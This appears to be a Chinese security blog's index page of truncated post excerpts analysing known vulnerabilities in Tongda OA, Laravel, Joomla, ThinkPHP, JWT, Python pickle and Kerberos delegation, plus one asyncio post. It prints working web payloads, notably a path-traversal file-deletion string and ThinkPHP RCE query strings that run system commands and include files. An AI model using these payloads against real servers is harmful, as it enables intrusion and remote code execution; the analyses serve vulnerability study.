通达OA任意文件删除&文件上传RCE分析(2020年hw 8月0day)
影响范围通达OA V11.6
漏洞简介通过任意文件漏洞删除上传点包含的身份验证文件,从而造成未授权访问实现任意文件上传
漏洞分析任意文件删除漏洞触发点位于module/appbuilder/assets/print.php
123456789101112$s_tmp = __DIR__ . "/../../../../logs/appbuilder/logs";$s_tmp .= "/" . $_GET["guid"];if (file_exists($s_tmp)) { $arr_data = unserialize(file_get_contents($s_tmp)); unlink($s_tmp); $s_user = $arr_data["user"];}else { echo "未知参数"; exit();}
传入参数guid通过../进行目录穿越实现任意文件删除
payload:?guid=../../../webroot/inc/a ...
Node.js Vuln's Analyse
前言对于最近学习node.js的一些总结~
设置安全的HTTP头在Node.js中可以通过强制设置一些安全的HTTP头来加强网站的安全系数,比如以下:
123456789Strict-Transport-Security //强制使用安全连接(SSL/TLS之上的HTTPS)来连接到服务器。X-Frame-Options //提供对于点击劫持的保护。X-XSS-Protection //开启大多现代浏览器内建的对于跨站脚本攻击(XSS)的过滤功能。X-Content-Type-Options // 防止浏览器使用MIME-sniffing 来确定响应的类型,转而使用明确的content-type来确定。Content-Security-Policy // 防止受到跨站脚本攻击以及其他跨站注入攻击。
目前Helnet第三方模块已经帮开发人员设置好了,直接将它引入到我们的系统就可以了,代码如下
12345678910111213var express = require( ...
通达OA未授权文件上传&任意文件包含导致RCE分析
影响范围
V11.3版
2017版
2016版
2015版
2013版
2013增强版
漏洞简介通过未授权访问进入上传点上传图片马,使用任意文件包含getshell
漏洞分析未授权访问文件上传漏洞点位于/ispirit/im/upload.php,首先看到如下代码
1234567891011$P = $_POST["P"];if (isset($P) || ($P != "")) { ob_start(); include_once "inc/session.php"; session_id($P); session_start(); session_write_close();}else { include_once "./auth.php";}
auth.php是进行身份认证相关的,如果我们POST传入了一个P那么就会实现绕过,但是由于还有后续验证所以并没有完全绕过
接着我们继续看代码如下
1234567891011121314151617181920$DE ...
Laravel反序列化利用链分析
5.8.x漏洞复现
环境配置写一个DemoController控制器//DemoController.php
1234567891011121314151617<?phpnamespace App\Http\Controllers;class DemoController extends Controller{ public function demo() { if(isset($_GET['c'])){ $code = $_GET['c']; unserialize($code); } else{ highlight_file(__FILE__); } return "Welcome to laravel5.8"; }}
然后在routes/web.php下 ...
Python Pickle反序列化漏洞
Python序列化与反序列化Python 的序列化和反序列化是将一个类对象向字节流转化从而进行存储和传输,然后使用的时候再将字节流转化回原始的对象的一个过程
几个重要函数Pickle.dump():将Python对象序列化保存到本地的文件中。
Pickle.load():载入本地文件,将文件内容反序列化为Python对象。
Pickle.dumps():将Python对象序列化为字符串。
Pickle.loads():将字符串反序列化为Python对象。
序列化这里通过pickle.dumps()将Python对象序列化为字符串
12345678910import pickleclass Person(object): def __init__(self, name, age): self.name = name self.age = age def print_name(self): print("my name is ghtwf01")obj = Person("ghtwf01",&quo ...
Joomla3.0.0-3.4.6 RCE分析
环境搭建下载地址:https:downloads.joomla.orgitcmsjoomla33-4-6
php版本:5.5.38(复现环境要求php版本低于5.6.40,不支持php7)
漏洞分析session逃逸session 在 Joomla 中的处理有一些的问题,它会把没有通过验证的用户名和密码存储在 _session 表中
存入和从数据库中取出用了位于 librariesjoomlasessionstoragedatabase.php的write()和read()函数
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859public function write($id, $data) { Get the database connection object and verify its connected. $db = JFactory::getDbo(); $data = str_repl ...
JWT攻击方式总结
JWT简介JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。
JWT组成jwt由三个部分组成:header.payload.signature
header第一部分头部解码后表示一个简单的JSON对象,一般来说这个对象描述了JWT所使用的签名算法和类型,最常用的两个字段是alg和typ,alg指定了token加密使用的算法(最常用的为HMAC和RSA算法),typ声明类型为JWT
header通常会长这个样子:
1234{ "alg" : "HS256", "typ" : "jwt"}
经过Base64URL编码之后就为eyJhbGciOiJIUzI1NiIsInR5cCI6Imp3dCJ9
【注】: Base64URL是base6 ...
通俗易懂的thinkphp5.0.x 5.1.x 未开启强制路由导致RCE分析
漏洞复现5.0.x
1234?s=index/think\config/get&name=database.username # 获取配置信息?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
5.1.x
12345?s=index/\think\Request/input&filter[]=system&data=pwd?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>?s=index/\think\template\driver\file/writ ...
python异步编程学习小记
前言为了以后写代码运行效率更高,遂补坑。
协程协程不是计算机提供,程序员人为创造。
协程(Coroutine),也可以被称为微线程,是一种用户态内的上下文切换技术,简而言之,其实就是通过一个线程实现代码块相互切换执行。例如:
1234567891011def func1(): print(1) ... print2() def func2(): print(3) ... print(4)func1()func2()
实现协程有这么几种方法:
greenbelt,早期模块
yield关键字
asyncio装饰器(python3.4)
async,await关键字(python3.5)【推荐】
greenlet1pip3 install greenlet
1234567891011121314151617from greenlet import greenletdef func1(): print(1) # 第2步:输出1 gr2.switch() # 第3步,切换到func2函数 print(2) # 第6步,输出2 gr2.switch() # 第7步,切换 ...
Kerberos之域内委派攻击
什么是委派如果在一个域中,A使用Kerberos身份验证访问服务B,B再使用A的身份去访问C,这个过程就可以理解为委派,委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两种,只有当A有权限访问C的时候才能委派成功,因为B使用的是A的身份去访问C
非约束委派非约束委派在Kerberos中实现时,User会从KDC处得到的TGT发送给委派对象Service1,Service1拿到TGT后可以通过TGT访问域内任意其它服务,所以被称为非约束委派实现流程图如下(图来自微软手册)
12345678910111213141516171819202122232425262728291.用户通过发送KRB_AS_REQ消息请求可转发 TGT(forwardable TGT,为了方便我们称为TGT1)。2.KDC在KRB_AS_REP消息中返回TGT1。3.用户再通过TGT1向KDC请求转发TGT(forwarded TGT,我们称为TGT2)。4.在KRB_TGS_REP消息中返回转发TGT2。5.用户使用TGT1向K ...